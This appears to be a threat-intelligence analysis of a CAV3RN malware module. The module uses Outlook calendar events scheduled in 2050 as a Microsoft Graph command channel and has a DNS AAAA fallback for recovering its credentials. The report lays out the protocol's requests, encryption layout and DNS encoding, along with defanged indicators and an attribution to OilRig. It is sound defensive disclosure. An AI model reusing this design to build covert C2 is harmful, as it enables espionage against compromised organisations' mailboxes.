The communication module, AzureCommunication.dll, is a DLL compiled with .NET Native AOT, consistent with several other components of the Project CAV3RN framework that are publicly documented. Such a compilation method turns the managed application into native machine code and removes most of the metadata and intermediate language that normally make .NET assemblies straightforward to analyze.
The module exposes its functionality through a single export named QueryInterface. We expect an updated controller to load the DLL, resolve this export, and pass it a null-terminated UTF-16 string. The accepted input format closely follows the interface used by the previously documented CAV3RN controller.
The _;;_ delimiter separates the operation from its arguments, while _,_ separates the arguments.
For get, the module only uses the first argument as the Agent ID. For send, it uses only the Agent ID and the result. In both cases, the additional legacy URL is ignored. It remains part of the interface for compatibility with the controller, even though the new module obtains its destination and credentials from its own Microsoft Graph configuration.
Outlook calendar events as a C2 channel
The DLL contains a complete default configuration, including the Microsoft Entra tenant ID, application credentials, target mailbox, DNS bootstrap host, and cryptographic keys required to establish communication.
Before processing either get or send operation, the module looks for a relative file named logAzure.txt. Because the code supplies only a filename, Windows resolves it against the current working directory of the process hosting the DLL.
If logAzure.txt exists, the module reads and deserializes it. If it is absent, the module builds the configuration from the hardcoded values and writes the complete object to disk with the following structure:
{
"TenantId": "******-****-****-****-**********", // Microsoft Entra tenant ID
"ClientId": "********-****-****-****-************", // application/client ID
"ClientSecret": "********************************************",
"UserEmail": "***@*********.co.il", // Compromised target Microsoft 365 mailbox
"Host": "cloudlanecdn[.]com", // DNS bootstrap domain
"PublicKey": "-----BEGIN RSA PUBLIC KEY-----\r\n[omitted]\r\n-----END RSA PUBLIC KEY-----", // outbound encryption public key
"PrivateKey": "-----BEGIN RSA PRIVATE KEY-----\r\n[omitted]\r\n-----END RSA PRIVATE KEY-----" // inbound decryption private key
}
Using the resulting configuration, the module creates a Microsoft Graph client and validates access by requesting the tenant’s organization record through a GET request to https://graph.microsoft.com/v1.0/organization.
Attempting this request causes the Azure Identity library to obtain an OAuth application token:
POST https://login.microsoftonline.com/<TenantId>/oauth2/v2.0/token
client_id=<ClientId>
client_secret=<ClientSecret>
scope=https://graph.microsoft.com/.default
grant_type=client_credentials
After successful authentication, the module includes the token in subsequent Graph requests using the Authorization: Bearer <access-token> header. The module uses the default calendar of the configured mailbox as a dead-drop channel. Commands, heartbeats, and results all occupy the same fixed one-hour window 2050-05-13 22:00–23:00 UTC.
Scheduling the events for 2050 makes them unlikely to appear in ordinary calendar views. The calendar event subject identifies each event’s purpose and associated Agent ID. Heartbeat and result subjects append the fixed suffix 1500 to this value; the suffix is not part of the Agent ID.
Subject format
Purpose
Module behavior
Event ID: <agent-id>
Operator-to-agent command
Searches for the event, downloads its attachments, and deletes it after consumption
Boss update ID: <agent-id>1500
Agent heartbeat
Deletes the previous heartbeat event and creates a replacement
Boss Report ID: <agent-id>1500
Agent-to-operator command output
Creates an event, uploads encrypted result attachments, and assigns the final subject
Receiving a command
For a get request, the module queries calendarView and filters the results by the Agent ID:
GET /v1.0/users/***@*********.co.il/calendarView?startDateTime=2050-05-13T22:00:00&endDateTime=2050-05-13T23:00:00&$filter=contains(subject,'Event ID: <agent-id>')
If Graph returns one or more matches, the module selects the first returned event and requests its attachments:
GET /v1.0/users/***@*********.co.il/events/<EventId>/attachments
Authorization: Bearer <access-token>
After obtaining the attachment response, the module deletes the calendar event:
Our analysis found a consistent difference in capitalization between command and result attachments:
Attachment name
Direction
Associated subject
file0.txt
Operator to agent
Event ID: <agent-id>
File0.txt
Agent to operator
Boss Report ID: <agent-id>1500
Inbound command decryption
Inbound commands use a combination of RSA and AES-GCM encryption. Once the attachments have been sorted and concatenated, the reconstructed encrypted command buffer begins with a 256-byte RSA-encrypted block containing the 32-byte AES key. The communication module decrypts this block with the RSA private key stored in its configuration, using RSA-OAEP with SHA-256.
The following 12 bytes contain the AES-GCM nonce, while the final 16 bytes contain the authentication tag. Everything between the nonce and tag is ciphertext. The module uses the recovered AES key to decrypt and authenticate this ciphertext with AES-256-GCM.
Encrypted attachment stored in a calendar event
After RSA-OAEP-SHA256 and AES-256-GCM decryption, the 63-byte ciphertext produces {"cid": "alXBCzcDl8hBuNE", "type": "self", "cmd": "003_;;__,_"}.
Decrypted command
The cid field appears to serve as a unique command-correlation identifier. As described in a previous publication of the framework, when the operator sets the JSON type field to self, the controller routes the command to its internal handler rather than dispatching it to an external plugin. In this command, the cmd field contains 003_;;__,_, where command 003 instructs the controller to toggle debug logging. After decryption, the communication module returns the complete command to the external controller through QueryInterface.
Sending command output
For a send request, the controller passes the command output to the communication module. The module encrypts the output using a newly generated AES-256-GCM key and protects that key with the configured RSA public key. It then divides the encrypted payload into chunks of up to 10 MiB.
To publish the result, the module creates a calendar event with the temporary subject d and attempts to add each encrypted chunk as a sequentially named attachment, such as File0.txt and File1.txt. After adding the attachments, it changes the subject to Boss Report ID: <agent-id>1500, marking the event as a completed result.
This process uses the following sequence of Microsoft Graph requests:
POST /v1.0/users/***@*********.co.il/calendar/events
POST /v1.0/users/***@*********.co.il/calendar/events/<EventId>/attachments
PATCH /v1.0/users/***@*********.co.il/events/<EventId>
Together, the uploaded attachments contain fragments of one encrypted result package: the RSA-encrypted AES key, AES-GCM nonce, encrypted command output, and authentication tag. Recovering outbound results requires the private key corresponding to the outbound public key. This private key is assessed to be held separately by the attacker.
Heartbeat handling
The module maintains a heartbeat event identified by the subject Boss update ID: <agent-id>1500. The module searches the same fixed calendar window for a previous heartbeat associated with the agent. If one exists, the module deletes it and creates a replacement event with the temporary subject d through the following sequence of Microsoft Graph requests:
GET /v1.0/users/***@*********.co.il/calendarView
DELETE /v1.0/users/***@*********.co.il/events/<EventId>
POST /v1.0/users/***@*********.co.il/events
Finally, it updates the newly created event through the following PATCH request, replacing the temporary subject d with Boss update ID: <agent-id>1500.
Heartbeat events use the same one-hour window in 2050 but contain no attachments.
The following figure summarizes the module’s operational workflow.
DNS AAAA configuration recovery mechanism
When OAuth token acquisition or the subsequent GET /v1.0/organization validation request fails, the module attempts to retrieve replacement TenantId, ClientId, ClientSecret, and UserEmail values through actor-controlled AAAA responses.
DNS-based configuration recovery (simplified)
The module uses cloudlanecdn[.]com as its configuration-recovery domain. The domain is delegated to four actor-controlled authoritative nameservers, ns1 through ns4.cloudlanecdn[.]com, allowing the operator to generate different AAAA responses according to the Agent ID, configuration field, and fragment offset.
The module submits the generated DNS queries through the operating system’s configured recursive resolver, which follows the domain’s delegation to one of the authoritative nameservers. The returned IPv6 address is treated as a 16-byte container for protocol data rather than as a network destination.
For both get and send operations, the controller supplies the seven-character Agent ID as the first argument to QueryInterface. The communication module converts its UTF-8 bytes into two-character uppercase hexadecimal values. For example, SFmLgQZ becomes 53 46 6D 4C 67 51 5A, which the module concatenates as 53466D4C67515A.
The hexadecimal identifier is then embedded in every recovery query. The module retrieves four Microsoft Graph configuration values in a fixed order, with each value assigned a numeric index:
Index
Configuration value
0
TenantId
1
ClientId
2
ClientSecret
3
UserEmail
Determining the field length through .p. queries
For each configuration value (TenantId, ClientId, ClientSecret, and UserEmail), the module first sends an AAAA query to determine the value’s total length: d.<hex-agent-id>.<field-index>.p.<host>.
In this format, <hex-agent-id> is the uppercase hexadecimal representation of the Agent ID supplied by the controller. The <field-index> identifies the requested configuration value according to the table above; for example, index 0 represents TenantId. The p marker indicates a length request, while <host> contains the configured DNS recovery domain, cloudlanecdn[.]com.
As an example, the following AAAA DNS query requests the length of the TenantId associated with Agent ID SFmLgQZ:
d.53466D4C67515A.0.p.cloudlanecdn[.]com
The AAAA response 2001:24:1234:5678:9abc:def0:1122:3344 corresponds to the byte sequence 20 01 00 24 12 34 56 78 9A BC DE F0 11 22 33 44. The module discards the first two bytes and interprets the following two bytes, 00 24, as a big-endian field length. This produces the value 0x0024, or 36 bytes. The remaining 12 bytes are ignored. The initial 2001 group is not treated as a network destination or strictly validated as a protocol marker; it simply occupies the two bytes that the module discards.
IPv6 AAAA record payload layout for obtaining length
In the observed example, the same process produced a 36-byte TenantId, a 36-byte ClientId, a 40-byte ClientSecret, and a 28-byte UserEmail. The protocol itself supports other lengths because each value’s length is supplied dynamically by its .p. response.
To illustrate this process, we reproduced the protocol in a controlled environment using a laboratory domain.
Field length encoding in DNS AAAA record responses (example)
Retrieving configuration data through .q. queries
After obtaining the field length from the .p. response, the module allocates a buffer of exactly that size and initializes an offset to 0. It then requests the field data using the following format: d.<hex-agent-id>.<field-index>.<offset>.q.<host>.
The <field-index> identifies the requested configuration value, while <offset> specifies where the fragment belongs in the output buffer. After checking for the sentinel address, the module discards the first two bytes of each normal .q. response and copies up to 14 of the remaining bytes. For the final response, it copies only the bytes required to reach the declared field length.
Queries continue at 14-byte offsets until the declared field length has been recovered.
The following figure shows the three .q. requests required to reconstruct a 36-byte TenantId.
TenantId retrieval process via DNS AAAA records (example)
In our laboratory responses, the first two bytes appear as the IPv6 group 2001 and are discarded. The responses at offsets 0 and 14 each provide 14 bytes, while the response at offset 28 supplies the final eight bytes. Concatenating and decoding these fragments produces the complete TenantId, 6f9d2a41-8c73-4b56-a1e8-2d407c95f3ab, as shown in the example figure.
The module repeats this procedure for ClientId, ClientSecret, and UserEmail. After reconstructing each value, it decodes the buffer as UTF-8, updates the corresponding configuration field, and writes the complete configuration to logAzure.txt. Once all four fields have been recovered, the module creates a new Graph client, repeats the /organization validation request, and resumes the original get or send operation if validation succeeds.
The DNS recovery mechanism updates only the TenantId, ClientId, ClientSecret, and UserEmail fields. It does not replace the configured DNS recovery host, RSA public or private keys, offering limited rotation for updating the domain itself that is used within the DNS fallback mechanism.
Failure handling and the sentinel AAAA response
In this module, the hard-coded IPv6 address 2001:4998:44:3507::8000 acts as a failure sentinel. After resolving an AAAA query, the module converts the first returned address to a string and compares it with this value before extracting any bytes. If the values match, it raises an exception and does not interpret the response as either a field length or configuration data.
The address belongs to Yahoo’s 2001:4998::/32 allocation. We could not determine why the developers selected it. The authoritative backend may return it for an unknown Agent ID, an unavailable field, an invalid index or offset, or an agent for which recovery is disabled. These conditions remain hypothetical because the backend was unavailable and the module handles every sentinel response in the same way.
Infrastructure
Historical DNS data shows that cloudlanecdn[.]com was registered on December 24, 2025. The domain initially used the Namecheap-operated nameservers dns1.registrar-servers.com and dns2.registrar-servers.com. On May 2, 2026, passive DNS first observed a transition from these vendor-managed nameservers to custom nameservers under cloudlanecdn[.]com.
Domain
IP
First seen
ASN
Hosting
ns1.cloudlanecdn[.]com
216.126.237[.]197
144.172.108[.]205
May 2, 2026
AS 14956
RouterHosting LLC
ns2.cloudlanecdn[.]com
216.126.237[.]197
144.172.108[.]205
May 2, 2026
AS 14956
RouterHosting LLC
ns3.cloudlanecdn[.]com
216.126.237[.]197
144.172.108[.]205
May 2, 2026
AS 14956
RouterHosting LLC
ns4.cloudlanecdn[.]com
144.172.108[.]205
May 21, 2026
AS 14956
RouterHosting LLC
Although the domain was delegated to four nameserver hostnames, their shared IP addresses reveal logical redundancy rather than four independently hosted DNS servers.
The shift from vendor‑managed DNS to custom in‑bailiwick authoritative nameservers aligns with the module’s DNS recovery design.
The DNS timeline overlaps with this new module’s development. Passive DNS first recorded the custom delegation on May 2, after the controller-and-plugin architecture was observed in April and before the May 19 timestamp stored in the new module. Because the custom authoritative infrastructure supports the module’s recovery protocol, we assess with moderate confidence that the infrastructure and module were prepared as part of the same development cycle.
Attribution
In our previous report, we attributed Project CAV3RN to OilRig (APT34) with low confidence. Analysis of the newly identified module provides additional evidence supporting this link.
Microsoft-hosted services for C2
Several OilRig malware strains have used Microsoft-hosted services for C2. RDAT malware exchanged commands and results through EWS email messages, and there are cases reported with the SC5k malware using Office 365 drafts, and OilCheck malware using Microsoft Graph to access Outlook drafts. CAV3RN uses the same class of service but stores commands and results in Outlook calendar events.
Secondary recovery mechanism for cloud C2
ESET previously documented OilBooster, which retrieved a replacement OAuth refresh token from a likely compromised website after repeated failures communicating with Microsoft OneDrive.
OilBooster used HTTP to recover a refresh token, whereas CAV3RN uses DNS AAAA records to recover four configuration fields. In both cases, the secondary mechanism restores access to the primary cloud C2 channel.
Compromised regional infrastructure
OilRig has previously used compromised infrastructure belonging to organizations in the regions it targets. Solar malware communicated through the compromised website of an Israeli human-resources company, while Whisper/Veaty malware used compromised Iraqi government Microsoft 365 mailboxes. The CAV3RN module similarly uses a compromised Microsoft 365 mailbox belonging to an Israeli law firm.
Based on the evidence discussed above, we retain our low-confidence assessment that Project CAV3RN is associated with OilRig. The new module shares several behavioral patterns with previously reported OilRig tooling, including the use of Microsoft-hosted services, attachment-based command exchange, and a secondary mechanism for restoring access to a cloud C2 channel. However, we identified no direct code reuse or infrastructure overlap.
Conclusions
The new module extends CAV3RN’s controller-and-plugin architecture with a Microsoft Graph-based communication transport. Its architectural continuity suggests that it was designed to replace the previous HTTP/WebSocket component with Outlook calendar events. If Graph authentication or validation fails, its DNS recovery protocol is designed to retrieve replacement connection settings.
The framework changed repeatedly between December 2025 and May 2026, indicating that development remains active. We continue to track this activity.
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